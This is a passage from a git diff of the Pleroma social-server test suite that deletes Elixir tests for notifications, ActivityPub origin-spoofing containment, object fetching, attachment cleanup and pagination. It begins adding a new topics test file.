end) - - {:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message) - ObanHelpers.perform_all() - - assert Enum.empty?(Notification.for_user(local_user)) - end - - @tag capture_log: true - test "move activity generates a notification" do - %{ap_id: old_ap_id} = old_user = insert(:user) - %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) - follower = insert(:user) - other_follower = insert(:user, %{allow_following_move: false}) - - User.follow(follower, old_user) - User.follow(other_follower, old_user) - - old_user_url = old_user.ap_id - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", old_user.nickname) - |> Jason.encode!() - - Tesla.Mock.mock(fn - %{method: :get, url: ^old_user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) - ObanHelpers.perform_all() - - assert [ - %{ - activity: %{ - data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} - } - } - ] = Notification.for_user(follower) - - assert [ - %{ - activity: %{ - data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} - } - } - ] = Notification.for_user(other_follower) - end - end - - describe "for_user" do - setup do - user = insert(:user) - - {:ok, %{user: user}} - end - - test "it returns notifications for muted user without notifications", %{user: user} do - muted = insert(:user) - {:ok, _user_relationships} = User.mute(user, muted, false) - - {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) - - [notification] = Notification.for_user(user) - - assert notification.activity.object - assert notification.seen - end - - test "it doesn't return notifications for muted user with notifications", %{user: user} do - muted = insert(:user) - {:ok, _user_relationships} = User.mute(user, muted) - - {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) - - assert Notification.for_user(user) == [] - end - - test "it doesn't return notifications for blocked user", %{user: user} do - blocked = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked) - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Notification.for_user(user) == [] - end - - test "it doesn't return notifications for domain-blocked non-followed user", %{user: user} do - blocked = insert(:user, ap_id: "http://some-domain.com") - {:ok, user} = User.block_domain(user, "some-domain.com") - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Notification.for_user(user) == [] - end - - test "it returns notifications for domain-blocked but followed user" do - user = insert(:user) - blocked = insert(:user, ap_id: "http://some-domain.com") - - {:ok, user} = User.block_domain(user, "some-domain.com") - {:ok, _} = User.follow(user, blocked) - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert length(Notification.for_user(user)) == 1 - end - - test "it doesn't return notifications for muted thread", %{user: user} do - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) - - {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) - assert Notification.for_user(user) == [] - end - - test "it returns notifications from a muted user when with_muted is set", %{user: user} do - muted = insert(:user) - {:ok, _user_relationships} = User.mute(user, muted) - - {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) - - assert length(Notification.for_user(user, %{with_muted: true})) == 1 - end - - test "it doesn't return notifications from a blocked user when with_muted is set", %{ - user: user - } do - blocked = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked) - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) - end - - test "when with_muted is set, " <> - "it doesn't return notifications from a domain-blocked non-followed user", - %{user: user} do - blocked = insert(:user, ap_id: "http://some-domain.com") - {:ok, user} = User.block_domain(user, "some-domain.com") - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) - end - - test "it returns notifications from muted threads when with_muted is set", %{user: user} do - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) - - {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) - assert length(Notification.for_user(user, %{with_muted: true})) == 1 - end - - test "it doesn't return notifications about mentions with filtered word", %{user: user} do - insert(:filter, user: user, phrase: "cofe", hide: true) - another_user = insert(:user) - - {:ok, _activity} = CommonAPI.post(another_user, %{status: "@#{user.nickname} got cofe?"}) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "it returns notifications about mentions with not hidden filtered word", %{user: user} do - insert(:filter, user: user, phrase: "test", hide: false) - another_user = insert(:user) - - {:ok, _} = CommonAPI.post(another_user, %{status: "@#{user.nickname} test"}) - - assert length(Notification.for_user(user)) == 1 - end - - test "it returns notifications about favorites with filtered word", %{user: user} do - insert(:filter, user: user, phrase: "cofe", hide: true) - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Give me my cofe!"}) - {:ok, _} = CommonAPI.favorite(another_user, activity.id) - - assert length(Notification.for_user(user)) == 1 - end - end -end diff --git a/test/object/containment_test.exs b/test/object/containment_test.exs deleted file mode 100644 index 90b6dccf2..000000000 --- a/test/object/containment_test.exs +++ /dev/null @@ -1,125 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Object.ContainmentTest do - use Pleroma.DataCase - - alias Pleroma.Object.Containment - alias Pleroma.User - - import Pleroma.Factory - import ExUnit.CaptureLog - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "general origin containment" do - test "works for completely actorless posts" do - assert :error == - Containment.contain_origin("https://glaceon.social/users/monorail", %{ - "deleted" => "2019-10-30T05:48:50.249606Z", - "formerType" => "Note", - "id" => "https://glaceon.social/users/monorail/statuses/103049757364029187", - "type" => "Tombstone" - }) - end - - test "contain_origin_from_id() catches obvious spoofing attempts" do - data = %{ - "id" => "http://example.com/~alyssa/activities/1234.json" - } - - :error = - Containment.contain_origin_from_id( - "http://example.org/~alyssa/activities/1234.json", - data - ) - end - - test "contain_origin_from_id() allows alternate IDs within the same origin domain" do - data = %{ - "id" => "http://example.com/~alyssa/activities/1234.json" - } - - :ok = - Containment.contain_origin_from_id( - "http://example.com/~alyssa/activities/1234", - data - ) - end - - test "contain_origin_from_id() allows matching IDs" do - data = %{ - "id" => "http://example.com/~alyssa/activities/1234.json" - } - - :ok = - Containment.contain_origin_from_id( - "http://example.com/~alyssa/activities/1234.json", - data - ) - end - - test "users cannot be collided through fake direction spoofing attempts" do - _user = - insert(:user, %{ - nickname: "rye@niu.moe", - local: false, - ap_id: "https://niu.moe/users/rye", - follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) - }) - - assert capture_log(fn -> - {:error, _} = User.get_or_fetch_by_ap_id("https://n1u.moe/users/rye") - end) =~ - "[error] Could not decode user at fetch https://n1u.moe/users/rye" - end - - test "contain_origin_from_id() gracefully handles cases where no ID is present" do - data = %{ - "type" => "Create", - "object" => %{ - "id" => "http://example.net/~alyssa/activities/1234", - "attributedTo" => "http://example.org/~alyssa" - }, - "actor" => "http://example.com/~bob" - } - - :error = - Containment.contain_origin_from_id("http://example.net/~alyssa/activities/1234", data) - end - end - - describe "containment of children" do - test "contain_child() catches spoofing attempts" do - data = %{ - "id" => "http://example.com/whatever", - "type" => "Create", - "object" => %{ - "id" => "http://example.net/~alyssa/activities/1234", - "attributedTo" => "http://example.org/~alyssa" - }, - "actor" => "http://example.com/~bob" - } - - :error = Containment.contain_child(data) - end - - test "contain_child() allows correct origins" do - data = %{ - "id" => "http://example.org/~alyssa/activities/5678", - "type" => "Create", - "object" => %{ - "id" => "http://example.org/~alyssa/activities/1234", - "attributedTo" => "http://example.org/~alyssa" - }, - "actor" => "http://example.org/~alyssa" - } - - :ok = Containment.contain_child(data) - end - end -end diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs deleted file mode 100644 index 14d2c645f..000000000 --- a/test/object/fetcher_test.exs +++ /dev/null @@ -1,245 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Object.FetcherTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.Object.Fetcher - - import Mock - import Tesla.Mock - - setup do - mock(fn - %{method: :get, url: "https://mastodon.example.org/users/userisgone"} -> - %Tesla.Env{status: 410} - - %{method: :get, url: "https://mastodon.example.org/users/userisgone404"} -> - %Tesla.Env{status: 404} - - env -> - apply(HttpRequestMock, :request, [env]) - end) - - :ok - end - - describe "error cases" do - setup do - mock(fn - %{method: :get, url: "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json") - } - - %{method: :get, url: "https://social.sakamoto.gq/users/eal"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/fetch_mocks/eal.json") - } - - %{method: :get, url: "https://busshi.moe/users/tuxcrafting/statuses/104410921027210069"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json") - } - - %{method: :get, url: "https://busshi.moe/users/tuxcrafting"} -> - %Tesla.Env{ - status: 500 - } - end) - - :ok - end - - @tag capture_log: true - test "it works when fetching the OP actor errors out" do - # Here we simulate a case where the author of the OP can't be read - assert {:ok, _} = - Fetcher.fetch_object_from_id( - "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM" - ) - end - end - - describe "max thread distance restriction" do - @ap_id "http://mastodon.example.org/@admin/99541947525187367" - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - test "it returns thread depth exceeded error if thread depth is exceeded" do - Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - assert {:error, "Max thread distance exceeded."} = - Fetcher.fetch_object_from_id(@ap_id, depth: 1) - end - - test "it fetches object if max thread depth is restricted to 0 and depth is not specified" do - Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id) - end - - test "it fetches object if requested depth does not exceed max thread depth" do - Config.put([:instance, :federation_incoming_replies_max_depth], 10) - - assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id, depth: 10) - end - end - - describe "actor origin containment" do - test "it rejects objects with a bogus origin" do - {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity.json") - end - - test "it rejects objects when attributedTo is wrong (variant 1)" do - {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity2.json") - end - - test "it rejects objects when attributedTo is wrong (variant 2)" do - {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity3.json") - end - end - - describe "fetching an object" do - test "it fetches an object" do - {:ok, object} = - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - assert activity = Activity.get_create_by_object_ap_id(object.data["id"]) - assert activity.data["id"] - - {:ok, object_again} = - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - assert [attachment] = object.data["attachment"] - assert is_list(attachment["url"]) - - assert object == object_again - end - - test "Return MRF reason when fetched status is rejected by one" do - clear_config([:mrf_keyword, :reject], ["yeah"]) - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - Fetcher.fetch_object_from_id( - "http://mastodon.example.org/@admin/99541947525187367" - ) - end - end - - describe "implementation quirks" do - test "it can fetch plume articles" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" - ) - - assert object - end - - test "it can fetch peertube videos" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - assert object - end - - test "it can fetch Mobilizon events" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - ) - - assert object - end - - test "it can fetch wedistribute articles" do - {:ok, object} = - Fetcher.fetch_object_from_id("https://wedistribute.org/wp-json/pterotype/v1/object/85810") - - assert object - end - - test "all objects with fake directions are rejected by the object fetcher" do - assert {:error, _} = - Fetcher.fetch_and_contain_remote_object_from_id( - "https://info.pleroma.site/activity4.json" - ) - end - - test "handle HTTP 410 Gone response" do - assert {:error, "Object has been deleted"} == - Fetcher.fetch_and_contain_remote_object_from_id( - "https://mastodon.example.org/users/userisgone" - ) - end - - test "handle HTTP 404 response" do - assert {:error, "Object has been deleted"} == - Fetcher.fetch_and_contain_remote_object_from_id( - "https://mastodon.example.org/users/userisgone404" - ) - end - - test "it can fetch pleroma polls with attachments" do - {:ok, object} = - Fetcher.fetch_object_from_id("https://patch.cx/objects/tesla_mock/poll_attachment") - - assert object - end - end - - describe "pruning" do - test "it can refetch pruned objects" do - object_id = "http://mastodon.example.org/@admin/99541947525187367" - - {:ok, object} = Fetcher.fetch_object_from_id(object_id) - - assert object - - {:ok, _object} = Object.prune(object) - - refute Object.get_by_ap_id(object_id) - - {:ok, %Object{} = object_two} = Fetcher.fetch_object_from_id(object_id) - - assert object.data["id"] == object_two.data["id"] - assert object.id != object_two.id - end - end - - describe "signed fetches" do - setup do: clear_config([:activitypub, :sign_object_fetches]) - - test_with_mock "it signs fetches when configured to do so", - Pleroma.Signature, - [:passthrough], - [] do - Config.put([:activitypub, :sign_object_fetches], true) - - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - assert called(Pleroma.Signature.sign(:_, :_)) - end - - test_with_mock "it doesn't sign fetches when not configured to do so", - Pleroma.Signature, - [:passthrough], - [] do - Config.put([:activitypub, :sign_object_fetches], false) - - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - refute called(Pleroma.Signature.sign(:_, :_)) - end - end -end diff --git a/test/object_test.exs b/test/object_test.exs deleted file mode 100644 index 198d3b1cf..000000000 --- a/test/object_test.exs +++ /dev/null @@ -1,402 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ObjectTest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "returns an object by it's AP id" do - object = insert(:note) - found_object = Object.get_by_ap_id(object.data["id"]) - - assert object == found_object - end - - describe "generic changeset" do - test "it ensures uniqueness of the id" do - object = insert(:note) - cs = Object.change(%Object{}, %{data: %{id: object.data["id"]}}) - assert cs.valid? - - {:error, _result} = Repo.insert(cs) - end - end - - describe "deletion function" do - test "deletes an object" do - object = insert(:note) - found_object = Object.get_by_ap_id(object.data["id"]) - - assert object == found_object - - Object.delete(found_object) - - found_object = Object.get_by_ap_id(object.data["id"]) - - refute object == found_object - - assert found_object.data["type"] == "Tombstone" - end - - test "ensures cache is cleared for the object" do - object = insert(:note) - cached_object = Object.get_cached_by_ap_id(object.data["id"]) - - assert object == cached_object - - Cachex.put(:web_resp_cache, URI.parse(object.data["id"]).path, "cofe") - - Object.delete(cached_object) - - {:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}") - {:ok, nil} = Cachex.get(:web_resp_cache, URI.parse(object.data["id"]).path) - - cached_object = Object.get_cached_by_ap_id(object.data["id"]) - - refute object == cached_object - - assert cached_object.data["type"] == "Tombstone" - end - end - - describe "delete attachments" do - setup do: clear_config([Pleroma.Upload]) - setup do: clear_config([:instance, :cleanup_attachments]) - - test "Disabled via config" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([:instance, :cleanup_attachments], false) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - refute Object.get_by_id(attachment.id) == nil - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - end - - test "in subdirectories" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - - assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") - end - - test "with dedupe enabled" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([Pleroma.Upload, :filters], [Pleroma.Upload.Filter.Dedupe]) - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - File.mkdir_p!(uploads_dir) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - filename = Path.basename(href) - - assert {:ok, files} = File.ls(uploads_dir) - assert filename in files - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - assert {:ok, files} = File.ls(uploads_dir) - refute filename in files - end - - test "with objects that have legacy data.url attribute" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - {:ok, %Object{}} = Object.create(%{url: "https://google.com", actor: user.ap_id}) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - - assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") - end - - test "With custom base_url" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([Pleroma.Upload, :base_url], "https://sub.domain.tld/dir/") - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - - assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") - end - end - - describe "normalizer" do - test "fetches unknown objects by default" do - %Object{} = - object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367") - - assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" - end - - test "fetches unknown objects when fetch_remote is explicitly true" do - %Object{} = - object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367", true) - - assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" - end - - test "does not fetch unknown objects when fetch_remote is false" do - assert is_nil( - Object.normalize("http://mastodon.example.org/@admin/99541947525187367", false) - ) - end - end - - describe "get_by_id_and_maybe_refetch" do - setup do - mock(fn - %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")} - - env -> - apply(HttpRequestMock, :request, [env]) - end) - - mock_modified = fn resp -> - mock(fn - %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> - resp - - env -> - apply(HttpRequestMock, :request, [env]) - end) - end - - on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end) - - [mock_modified: mock_modified] - end - - test "refetches if the time since the last refetch is greater than the interval", %{ - mock_modified: mock_modified - } do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - mock_modified.(%Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") - }) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 - end - - test "returns the old object if refetch fails", %{mock_modified: mock_modified} do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - assert capture_log(fn -> - mock_modified.(%Tesla.Env{status: 404, body: ""}) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - end) =~ - "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d" - end - - test "does not refetch if the time since the last refetch is greater than the interval", %{ - mock_modified: mock_modified - } do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - mock_modified.(%Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") - }) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - end - - test "preserves internal fields on refetch", %{mock_modified: mock_modified} do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - user = insert(:user) - activity = Activity.get_create_by_object_ap_id(object.data["id"]) - {:ok, activity} = CommonAPI.favorite(user, activity.id) - object = Object.get_by_ap_id(activity.data["object"]) - - assert object.data["like_count"] == 1 - - mock_modified.(%Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") - }) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 - - assert updated_object.data["like_count"] == 1 - end - end -end diff --git a/test/otp_version_test.exs b/test/otp_version_test.exs deleted file mode 100644 index 7d2538ec8..000000000 --- a/test/otp_version_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.OTPVersionTest do - use ExUnit.Case, async: true - - alias Pleroma.OTPVersion - - describe "check/1" do - test "22.4" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.4"]) == - "22.4" - end - - test "22.1" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.1"]) == - "22.1" - end - - test "21.1" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/21.1"]) == - "21.1" - end - - test "23.0" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/23.0"]) == - "23.0" - end - - test "with non existance file" do - assert OTPVersion.get_version_from_files([ - "test/fixtures/warnings/otp_version/non-exising", - "test/fixtures/warnings/otp_version/22.4" - ]) == "22.4" - end - - test "empty paths" do - assert OTPVersion.get_version_from_files([]) == nil - end - end -end diff --git a/test/pagination_test.exs b/test/pagination_test.exs deleted file mode 100644 index e526f23e8..000000000 --- a/test/pagination_test.exs +++ /dev/null @@ -1,92 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.PaginationTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Object - alias Pleroma.Pagination - - describe "keyset" do - setup do - notes = insert_list(5, :note) - - %{notes: notes} - end - - test "paginates by min_id", %{notes: notes} do - id = Enum.at(notes, 2).id |> Integer.to_string() - - %{total: total, items: paginated} = - Pagination.fetch_paginated(Object, %{min_id: id, total: true}) - - assert length(paginated) == 2 - assert total == 5 - end - - test "paginates by since_id", %{notes: notes} do - id = Enum.at(notes, 2).id |> Integer.to_string() - - %{total: total, items: paginated} = - Pagination.fetch_paginated(Object, %{since_id: id, total: true}) - - assert length(paginated) == 2 - assert total == 5 - end - - test "paginates by max_id", %{notes: notes} do - id = Enum.at(notes, 1).id |> Integer.to_string() - - %{total: total, items: paginated} = - Pagination.fetch_paginated(Object, %{max_id: id, total: true}) - - assert length(paginated) == 1 - assert total == 5 - end - - test "paginates by min_id & limit", %{notes: notes} do - id = Enum.at(notes, 2).id |> Integer.to_string() - - paginated = Pagination.fetch_paginated(Object, %{min_id: id, limit: 1}) - - assert length(paginated) == 1 - end - - test "handles id gracefully", %{notes: notes} do - id = Enum.at(notes, 1).id |> Integer.to_string() - - paginated = - Pagination.fetch_paginated(Object, %{ - id: "9s99Hq44Cnv8PKBwWG", - max_id: id, - limit: 20, - offset: 0 - }) - - assert length(paginated) == 1 - end - end - - describe "offset" do - setup do - notes = insert_list(5, :note) - - %{notes: notes} - end - - test "paginates by limit" do - paginated = Pagination.fetch_paginated(Object, %{limit: 2}, :offset) - - assert length(paginated) == 2 - end - - test "paginates by limit & offset" do - paginated = Pagination.fetch_paginated(Object, %{limit: 2, offset: 4}, :offset) - - assert length(paginated) == 1 - end - end -end diff --git a/test/pleroma/activity/ir/topics_test.exs b/test/pleroma/activity/ir/topics_test.exs new file mode 100644 index 000000000..4ddcea1ec --- /dev/null +++ b/test/pleroma/activity/ir/topics_test.exs @@ -0,0 +1,145 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: 